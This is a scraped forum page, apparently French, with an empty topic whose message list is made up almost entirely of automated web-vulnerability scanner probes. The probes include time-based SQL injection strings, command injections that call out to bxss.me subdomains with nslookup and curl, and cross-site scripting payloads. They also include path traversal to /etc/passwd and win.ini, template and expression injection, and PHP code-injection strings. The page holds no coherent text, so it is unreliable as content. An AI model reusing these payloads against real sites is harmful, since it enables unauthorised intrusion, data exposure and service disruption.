- Ce sujet est vide.
-
Messages
-
-
555
-
555
-
1
-
response.write(9955831*9312493)
-
&echo sjzxfm$()\ ninrql\nz^xyu||a #’ &echo sjzxfm$()\ ninrql\nz^xyu||a #| » &echo sjzxfm$()\ ninrql\nz^xyu||a #
-
‘.gethostbyname(lc(‘hitjm’.’rdbvxbhn88820.bxss.me.’)).’A’.chr(67).chr(hex(’58’)).chr(105).chr(84).chr(98).chr(76).’
-
bxss.me
-
1
-
1
-
« ;print(md5(31337));$a= »
-
<th:t= »${dfb}#foreach
-
1qzfiIHXM
-
-1 OR 2+934-934-1=0+0+0+1
-
1*if(now()=sysdate(),sleep(15),0)
-
1-1; waitfor delay ‘0:0:15’ —
-
1-1 OR 402=(SELECT 402 FROM PG_SLEEP(15))–
-
1’||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||’
-
;(nslookup -q=cname hitdzaldogmtl12cbc.bxss.me||curl hitdzaldogmtl12cbc.bxss.me)|(nslookup -q=cname hitdzaldogmtl12cbc.bxss.me||curl hitdzaldogmtl12cbc.bxss.me)&(nslookup -q=cname hitdzaldogmtl12cbc.bxss.me||curl hitdzaldogmtl12cbc.bxss.me)
-
1
-
bfg10712＜s1﹥s2ʺs3ʹhjl10712
-
-
‘A’.concat(70-3).concat(22*4).concat(105).concat(73).concat(121).concat(75)+(require’socket’
Socket.gethostbyname(‘hittr’+’rjiltozmc14e0.bxss.me.’)[3].to_s) -
1
-
1
-
1u7SuRzYh
-
-1′ OR 2+810-810-1=0+0+0+1 or ‘CDXkIUhJ’=’
-
10’XOR(1*if(now()=sysdate(),sleep(15),0))XOR’Z
-
1-1); waitfor delay ‘0:0:15’ —
-
1gFOErV9F’; waitfor delay ‘0:0:15’ —
-
1-1) OR 31=(SELECT 31 FROM PG_SLEEP(15))–
-
1V8OKb98e’ OR 324=(SELECT 324 FROM PG_SLEEP(15))–
-
11ByIFNs0′)) OR 399=(SELECT 399 FROM PG_SLEEP(15))–
-
1′ »
-
1CG9FF5Q0CO
-
response.write(9460903*9968008)
-
‘.gethostbyname(lc(‘hitvo’.’mmmpxocqa2b59.bxss.me.’)).’A’.chr(67).chr(hex(’58’)).chr(121).chr(78).chr(114).chr(86).’
-
1
-
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
-
echo alwkle$()\ rmnqtv\nz^xyu||a #’ &echo alwkle$()\ rmnqtv\nz^xyu||a #| » &echo alwkle$()\ rmnqtv\nz^xyu||a #
-
|(nslookup -q=cname hityncgiurhgj9d980.bxss.me||curl hityncgiurhgj9d980.bxss.me)
-
1’||sleep(27*1000)*yundwm||’
-
bxss.me/t/xss.html?%00
-
« + »A ».concat(70-3).concat(22*4).concat(116).concat(81).concat(107).concat(70)+(require »socket »
Socket.gethostbyname(« hitcl »+ »iinvamdc6374d.bxss.me. »)[3].to_s)+ » -
${@print(md5(31337))}
-
1′ »()&%<zzz><ScRiPt >Iup0(9691)</ScRiPt>
-
1}} »}}’}}1%> »%>’%><%={{={@{#{${dfb}}%>
-
response.write(9526735*9372801)
-
-1 OR 2+394-394-1=0+0+0+1
-
${9999366+9999719}
-
1-1)) OR 217=(SELECT 217 FROM PG_SLEEP(15))–
-
555
-
‘ »
-
555
-
(nslookup -q=cname hitdnpvfnjrxdaf9f4.bxss.me||curl hitdnpvfnjrxdaf9f4.bxss.me))
-
&(nslookup${IFS}-q${IFS}cname${IFS}hitapeovdeabn9016c.bxss.me||curl${IFS}hitapeovdeabn9016c.bxss.me)&’\ »
0&(nslookup${IFS}-q${IFS}cname${IFS}hitapeovdeabn9016c.bxss.me||curl${IFS}hitapeovdeabn9016c.bxss.me)&‘ -
555″||sleep(27*1000)*hqiang|| »
-
‘+’A’.concat(70-3).concat(22*4).concat(105).concat(84).concat(112).concat(82)+(require’socket’
Socket.gethostbyname(‘hitls’+’jgfxzvtk2c0e9.bxss.me.’)[3].to_s)+’ -
${@print(md5(31337))}\
-
555
-
555′ »()&%<zzz><ScRiPt >Toh2(9456)</ScRiPt>
-
dfb__${98991*97996}__::.x
-
555
-
555
-
5551sYYWtf3
-
-1′ OR 3+740-740-1=0+0+0+1 —
-
5550″XOR(555*if(now()=sysdate(),sleep(15),0))XOR »Z
-
555-1 waitfor delay ‘0:0:15’ —
-
555-1)) OR 271=(SELECT 271 FROM PG_SLEEP(15))–
-
1′ »()&%<zzz><ScRiPt >NZak(9646)</ScRiPt>
-
19938671
-
<%={{={@{#{${dfb}}%>
-
« dfbzzzzzzzzbbbccccdddeeexca ».replace(« z », »o »)
-
1<script>NZak(9887)</script>9887
-
1<iframe src=’data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=’ invalid=’9671′>
-
1<img/src= »> » onerror=alert(9750)>
-
1}body{zzz:Expre/**/SSion(NZak(9161))}
-
1<aG4diUH x=9764>
-
response.write(9221921*9955971)
-
« .gethostbyname(lc(« hitvz ». »bkltcrmu78356.bxss.me. »)). »A ».chr(67).chr(hex(« 58″)).chr(118).chr(78).chr(99).chr(89). »
-
1
-
file:///etc/passwd
-
-
echo zmcogs$()\ kwxkkx\nz^xyu||a #’ &echo zmcogs$()\ kwxkkx\nz^xyu||a #| » &echo zmcogs$()\ kwxkkx\nz^xyu||a #
-
&(nslookup -q=cname hitlfnnxgwuko04e1f.bxss.me||curl hitlfnnxgwuko04e1f.bxss.me)&’\ »
0&(nslookup -q=cname hitlfnnxgwuko04e1f.bxss.me||curl hitlfnnxgwuko04e1f.bxss.me)&‘ -
1’&&sleep(27*1000)*levvet&&’
-
/\xfs.bxss.me?monbrouteur.net
-
‘;print(md5(31337));$a=’
-
[php]print(md5(31337));[/php]
-
‘+’A’.concat(70-3).concat(22*4).concat(112).concat(68).concat(104).concat(75)+(require’socket’
Socket.gethostbyname(‘hithn’+’zscszlkdb7166.bxss.me.’)[3].to_s)+’ -
‘ »()&%<zzz><ScRiPt >7qZ4(9268)</ScRiPt>
-
1′ »()&%<zzz><ScRiPt >jJZB(9543)</ScRiPt>
-
1</textarea><ScRiPt >jJZB(9152)</ScRiPt>
-
-
1
-
response.write(9814379*9991191)
-
${9999140+9999954}
-
1
-
../../../../../../../../../../../../../../etc/passwd
-
1
-
//xfs.bxss.me?monbrouteur.net
-
;assert(base64_decode(‘cHJpbnQobWQ1KDMxMzM3KSk7’));
-
{php}print(md5(31337));{/php}
-
1
-
1
-
1′ »()&%<zzz><ScRiPt >gjz3(9541)</ScRiPt>
-
dfb[[${98991*97996}]]xca
-
1o3TuK0me
-
-1′ OR 2+551-551-1=0+0+0+1 or ‘4bBjgHHu’=’
-
1TPwRW6ou’; waitfor delay ‘0:0:15’ —
-
@@ftNvH
-
-
555
-
jmj1Qyoz
-
‘+response.write(9083105*9013633)+’
-
;(nslookup -q=cname hitrzmtwxmpcb851fe.bxss.me||curl hitrzmtwxmpcb851fe.bxss.me)|(nslookup -q=cname hitrzmtwxmpcb851fe.bxss.me||curl hitrzmtwxmpcb851fe.bxss.me)&(nslookup -q=cname hitrzmtwxmpcb851fe.bxss.me||curl hitrzmtwxmpcb851fe.bxss.me)
-
555
-
)
-
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
-
Array
-
555
-
index.php/.
-
555
-
555
-
1B5d7kMmc8O
-
response.write(9561889*9037071)
-
-
|echo hvpbcu$()\ lthtzx\nz^xyu||a #’ |echo hvpbcu$()\ lthtzx\nz^xyu||a #| » |echo hvpbcu$()\ lthtzx\nz^xyu||a #
-
../1
-
1
-
-1 OR 2+822-822-1=0+0+0+1 —
-
-
‘{${print(md5(31337))}}’
-
555-1)) OR 343=(SELECT 343 FROM PG_SLEEP(15))–
-
‘+’A’.concat(70-3).concat(22*4).concat(119).concat(76).concat(115).concat(67)+(require’socket’
Socket.gethostbyname(‘hitzy’+’khvpzzwk89e61.bxss.me.’)[3].to_s)+’ -
1CzmKUWVK
-
-1′ OR 3+842-842-1=0+0+0+1 or ‘QXW6GC3N’=’
-
(select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+' »+(select(0)from(select(sleep(15)))v)+ »*/
-
1-1 waitfor delay ‘0:0:15’ —
-
1eIErX16D’) OR 119=(SELECT 119 FROM PG_SLEEP(15))–
-
1′ »()&%<zzz><ScRiPt >dsuK(9923)</ScRiPt>
-
response.write(9095508*9941543)
-
1
-
QKXm9cxv
-
1&n903698=v992501
-
&nslookup -q=cname hitebqguatcbm427bb.bxss.me&’\ »
0&nslookup -q=cname hitebqguatcbm427bb.bxss.me&‘ -
1
-
‘ »()
-
xfs.bxss.me?monbrouteur.net
-
‘.print(md5(31337)).’
-
« + »A ».concat(70-3).concat(22*4).concat(110).concat(89).concat(98).concat(89)+(require »socket »
Socket.gethostbyname(« hitxa »+ »fazdnukk84935.bxss.me. »)[3].to_s)+ » -
1
-
‘ »()&%<zzz><ScRiPt >Ka1T(9401)</ScRiPt>
-
dfb{{98991*97996}}xca
-
1xckpWvug
-
-1″ OR 2+464-464-1=0+0+0+1 —
-
10″XOR(1*if(now()=sysdate(),sleep(15),0))XOR »Z
-
1-1 OR 478=(SELECT 478 FROM PG_SLEEP(15))–
-
@@j9gpo
-
-
1′ »()&%<zzz><ScRiPt >7Jnr(9174)</ScRiPt>
-
1′ »()&%<zzz><ScRiPt >Dh3S(9205)</ScRiPt>
-
1′ »()&%<zzz><ScRiPt >cGPk(9635)</ScRiPt>
-
1′ »()&%<zzz><ScRiPt >aqP7(9880)</ScRiPt>
-
1′ »()&%<zzz><ScRiPt >35XB(9080)</ScRiPt>
-
1DtBnZIKMeO
-
response.write(9900839*9593119)
-
‘.gethostbyname(lc(‘hitjv’.’ceuoixex44a82.bxss.me.’)).’A’.chr(67).chr(hex(’58’)).chr(102).chr(74).chr(115).chr(70).’
-
!(()&&!|*|*|
-
-
1
-
|echo dkuncy$()\ rugqfv\nz^xyu||a #’ |echo dkuncy$()\ rugqfv\nz^xyu||a #| » |echo dkuncy$()\ rugqfv\nz^xyu||a #
-
;(nslookup -q=cname hitunqiulmgtvfc00e.bxss.me||curl hitunqiulmgtvfc00e.bxss.me)|(nslookup -q=cname hitunqiulmgtvfc00e.bxss.me||curl hitunqiulmgtvfc00e.bxss.me)&(nslookup -q=cname hitunqiulmgtvfc00e.bxss.me||curl hitunqiulmgtvfc00e.bxss.me)
-
1
-
‘+’A’.concat(70-3).concat(22*4).concat(105).concat(90).concat(106).concat(69)+(require’socket’
Socket.gethostbyname(‘hitdn’+’voxfbnwq7824e.bxss.me.’)[3].to_s)+’ -
<?php print(md5(31337));?>
-
1′ »()&%<zzz><ScRiPt >BUdQ(9716)</ScRiPt>
-
1
-
19541855
-
-1′ OR 3+21-21-1=0+0+0+1 —
-
1eDrKCEAB’; waitfor delay ‘0:0:15’ —
-
1AF1ieHmY’ OR 756=(SELECT 756 FROM PG_SLEEP(15))–
-
1
-
../../../../../../../../../../../../../../windows/win.ini
-
1′ »()&%<zzz><ScRiPt >O9Wv(9882)</ScRiPt>
-
19809124
-
bfg5893%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl5893
-
1<ScRiPt
>O9Wv(9159)</ScRiPt> -
1<ScRiPt>O9Wv(9727)</sCripT>
-
1′ »()&%<zzz><ScRiPt >WUhV(9145)</ScRiPt>
-
‘ »()&%<zzz><ScRiPt >JvMj(9123)</ScRiPt>
-
1′ »()&%<zzz><ScRiPt >X4pL(9958)</ScRiPt>
-
